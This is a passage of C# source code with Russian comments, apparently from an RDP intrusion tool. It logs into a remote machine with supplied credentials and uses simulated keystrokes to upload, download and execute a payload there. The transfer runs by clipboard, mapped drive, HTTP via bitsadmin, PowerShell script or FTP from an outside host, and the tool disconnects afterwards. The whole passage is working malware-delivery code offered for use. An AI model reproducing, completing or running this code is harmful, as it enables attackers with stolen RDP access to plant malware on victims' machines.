public RdpParams.SelectedMethod CallStatic(RdpParams data) { return(Main.Connect(data)); }
// Рабочие методы private static void Run(RdpParams data) { lock (FileSync) { // Загружаем файл в канал if (data.Method.HasFlag(RdpParams.SelectedMethod.CLIPBOARD) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName)) { ClipboardChannel.SetFile(FileBytes, FileName); } } lock (FileSync) { // Загружаем файл в канал if (data.Method.HasFlag(RdpParams.SelectedMethod.DRIVE) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName)) { try { FileSystemChannel.LoadFileToStorage(FileBytes, FileName, Timeout, LoadTimeout); } catch { } } } lock (FileSync) { // Стрелка влево InputKeys.ScanCode.SendKeyEx(0x4B); Thread.Sleep(Timeout); InputKeys.Input.Enter(); Thread.Sleep(Timeout); } lock (FileSync) { // Clipboard if (data.Method.HasFlag(RdpParams.SelectedMethod.CLIPBOARD) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName)) { if (Network.ConnectionAlive) { if (!string.IsNullOrWhiteSpace(data.FileParams)) { InputKeys.Input.LoadAndRunFileFromClipboard(Timeout, LoadTimeout, data.FileParams); } else { InputKeys.Input.LoadAndRunFileFromClipboard(Timeout, LoadTimeout, ""); } doneMethod |= RdpParams.SelectedMethod.CLIPBOARD; } } } lock (FileSync) { // HTTP_BA if (data.Method.HasFlag(RdpParams.SelectedMethod.HTTP_BA) && !string.IsNullOrWhiteSpace(data.URL)) { if (Network.ConnectionAlive) { if (!string.IsNullOrWhiteSpace(data.FileParams)) { InputKeys.Input.LoadAndRunFileFromHTTP_BA(data.URL, Timeout, LoadTimeout, data.FileParams); } else { InputKeys.Input.LoadAndRunFileFromHTTP_BA(data.URL, Timeout, LoadTimeout, ""); } doneMethod |= RdpParams.SelectedMethod.HTTP_BA; } } } lock (FileSync) { // HTTP_PS if (data.Method.HasFlag(RdpParams.SelectedMethod.HTTP_PS) && !string.IsNullOrWhiteSpace(data.PowerShellScriptText)) { if (Network.ConnectionAlive) { InputKeys.Input.LoadAndRunFileFromHTTP_PS(data.PowerShellScriptText, Timeout, LoadTimeout); doneMethod |= RdpParams.SelectedMethod.HTTP_PS; } } } lock (FileSync) { // Drive if (data.Method.HasFlag(RdpParams.SelectedMethod.DRIVE) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName)) { if (Network.ConnectionAlive) { if (!string.IsNullOrWhiteSpace(data.FileParams)) { InputKeys.Input.LoadAndRunFileFromDrive(FileName, Timeout, LoadTimeout, data.FileParams); } else { InputKeys.Input.LoadAndRunFileFromDrive(FileName, Timeout, LoadTimeout, ""); } doneMethod |= RdpParams.SelectedMethod.DRIVE; } } } lock (FileSync) { // FTP if (data.Method.HasFlag(RdpParams.SelectedMethod.FTP) && !string.IsNullOrWhiteSpace(data.FtpHost) && !string.IsNullOrWhiteSpace(data.FtpLogin) && !string.IsNullOrWhiteSpace(data.FtpFilePath)) { if (Network.ConnectionAlive) { if (!string.IsNullOrWhiteSpace(data.FileParams)) { InputKeys.Input.LoadAndRunFileFromFTP( data.FtpHost + (!string.IsNullOrWhiteSpace(data.FtpPort) ? " " + data.FtpPort : ""), data.FtpLogin, data.FtpPassword, data.FtpFilePath, Timeout, LoadTimeout, data.FileParams); } else { InputKeys.Input.LoadAndRunFileFromFTP( data.FtpHost + (!string.IsNullOrWhiteSpace(data.FtpPort) ? " " + data.FtpPort : ""), data.FtpLogin, data.FtpPassword, data.FtpFilePath, Timeout, LoadTimeout, ""); } doneMethod |= RdpParams.SelectedMethod.FTP; } } } lock (FileSync) { // Отключение if (Network.ConnectionAlive) { client.Disconnect(); } else { Options.IsRunned = false; } } }
// Подключение public static RdpParams.SelectedMethod Connect(RdpParams data) { // Задаем переменные безопасности SecureValue1 = data.SecureValue1; SecureValue2 = data.SecureValue2; SecureValue3 = data.SecureValue3; SecureValue4 = data.SecureValue4; SecureValue5 = data.SecureValue5; SecureValue6 = data.SecureValue6; SecureValue7 = data.SecureValue7; SecureValue8 = data.SecureValue8; // Отладка if (data.Debug) { Task.Run(() => { // Инициализируем форму и задаем заголовок var fm = new DebugForm(); fm.Text = data.RdpHost + ":" + data.RdpPort.ToString() + ";" + data.RdpLogin + ";" + data.RdpPassword; // Таймер обновления изображения var timer = new System.Timers.Timer(); timer.Enabled = true; timer.AutoReset = true; timer.Interval = 100; timer.Elapsed += (System.Timers.ElapsedEventHandler)((s, e) => { lock (Sync) { if (!ChangedRect.IsEmpty() && Options.TryEnter()) { if (fm != null && fm.pictureBox1 != null) { ChangedRect.Clone(); fm.Invoke((Action)(() => { fm.pictureBox1.Image = Options.Canvas.Invalidate(); })); ChangedRect.Reset(); Options.Exit(); } } } }); timer.Start(); fm.ShowDialog(); }); } // Устанавливаем таймауты Timeout = data.Timeout; LoadTimeout = data.LoadTimeout; ConnectTimeout = data.ConnectTimeout; // Устанавливаем данные файла FileName = data.FileName; FileBytes = data.FileBytes; // Таймер отсечки TimeoutTimerStop(data.ConnectTimeout); // Инициализируем клиент client = new RDPClient(); // Событие авторизации рдп Options.OnAutorizationEvent += () => { Task.Run(() => { lock (AuthSync) { if (AuthCount == 0) { AuthCount++; // Рабочие методы Run(data); } } }); }; // Подключение client.Connect(data.RdpHost, data.RdpPort, data.RdpLogin, data.RdpPassword, data.ConnectTimeout, data.NLA); // Проверка выполненных методов if (!doneMethod.HasFlag(RdpParams.SelectedMethod.FTP) && !doneMethod.HasFlag(RdpParams.SelectedMethod.DRIVE) && !doneMethod.HasFlag(RdpParams.SelectedMethod.CLIPBOARD) && !doneMethod.HasFlag(RdpParams.SelectedMethod.HTTP_BA) && !doneMethod.HasFlag(RdpParams.SelectedMethod.HTTP_PS)) { doneMethod |= RdpParams.SelectedMethod.FAIL; } // Возвращаем результат return(doneMethod); }